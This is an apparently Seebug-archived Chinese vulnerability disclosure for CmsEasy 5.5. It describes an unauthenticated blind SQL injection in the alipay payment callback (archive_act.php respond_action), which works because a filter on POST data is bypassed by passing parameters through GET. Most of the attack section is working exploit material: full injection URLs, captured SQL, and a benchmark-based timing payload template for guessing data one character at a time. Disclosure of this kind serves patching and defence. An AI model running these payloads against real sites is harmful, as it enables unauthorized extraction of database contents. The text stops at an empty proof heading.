cmseasy 再次绕过前台sql盲注(无需登录)

2014-09-21T00:00:00
ID SSV:94055
Type seebug
Reporter Root
Modified 2014-09-21T00:00:00

Description

简要描述:

cmseasy 再次绕过前台sql盲注(无需登录)

详细说明:

我们直接进入: archive_act.php:(611-628):

function respond_action() { include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php'; $payclassname = front::$get['code']; $payobj = new $payclassname(); $uri = $_SERVER["REQUEST_URI"]; $__uriget = strstr($uri, '?'); $__uriget = str_replace('?', '', $__uriget); $__uriget = explode('&', $__uriget); $_GET = array(); foreach ($__uriget as $key => $val) { $tmp = explode('=', $val); $_GET[$tmp[0]] = $tmp[1]; if(preg_match('/\'|select|union|"/i', $tmp1)){ exit('非法参数'); } } file_put_contents('logs11.txt', var_export($_GET,true)); $status = $payobj->respond();

然后 这个函数就流向了$payobj->respond() 我们跟进去看看: alipay.php:(76-97):

function respond() { if (!empty($_POST)) { foreach($_POST as $key =>$data) { if(preg_match('/(=|<|>|\')/', $data)){ return false; } $_GET[$key] = $data; } } $payment = pay::get_payment($_GET['code']); $seller_email = rawurldecode($_GET['seller_email']); $order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']); $order_sn = trim($order_sn); if (!pay::check_money($order_sn,$_GET['total_fee'])) { return false; } if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") { pay::changeorders($order_sn,$_GET); return true; }else { return false; }

这里有一个逻辑错误,就是判断post,如果存在就把post里面的参数全部复制给get,在赋值的过程中对其进行了特殊字符的转换,因为后续传递的参数都是来自$_GET,那我们直接就通过GET参数进行传参数,这里就直接绕过去了,而且这里传递过来的参数完全没有防御 它过滤了什么呢,前面有一个一位已经说明: WooYun: CmsEasy最新版5.5_UTF-8_20140802绕过四次补丁继续SQL注入 这里就不赘述,但是修复后的逻辑错误仍然可以进行sql注入的盲注猜测 除了以上所描述的,前台get参数不能输入什么 1.空格 2.=号 由于这里后台执行的是一个select操作,举一个例子吧 select * from table where a = '20140' 由于mysql可以字符串和任何东西相乘法,我们就可以这样去触发一个条件查询 select * from table where a = '20140'(这里就是我们的条件判断)#' 根据以上的思路我们发送url: http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'if(ascii(substr((select//user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd 执行一次我们看看效果,从后台抓取sql语句: SELECT * FROM cmseasy_p_orders WHERE id='20140919161810-0%27*if(ascii(substr((select//user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)' ORDER BY 1 desc limit 1 发现我们的#居然不见了,这个问题当然是浏览器url get请求的原因,他把后面当锚点了 那么我们在编码一下url: http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'if(ascii(substr((select//user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd 抓取sql后台查看: SELECT * FROM cmseasy_p_orders WHERE id='20140919161810-0%27if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd' ORDER BY 1 desc limit 1 这里看到了吗,单引号,#号原封不动的encode,不过不要紧,浏览器默认做的事情,我们可以在后台curl发包,这里我直接用工具:

<img src="https://images.seebug.org/upload/201409/192139503c052d0d26952ca4629a6120415c9845.png" alt="42.png" width="600" onerror="javascript:errimg(this);">

这里请求当然也就成功延迟(7秒钟)执行,如果觉得不明显可以改大benchmark里面的数字 我们抓取sql: SELECT * FROM cmseasy_p_orders WHERE id='20140919161810-0'if(ascii(substr((select//user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd' ORDER BY 1 desc limit 1 这个成功执行了,那我们怎么猜测数据: 'if(ascii(substr((select/**/user()),1,1))in($NUM),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd 其中这个$NUM就是我们可以控制的 ok!............................

漏洞证明: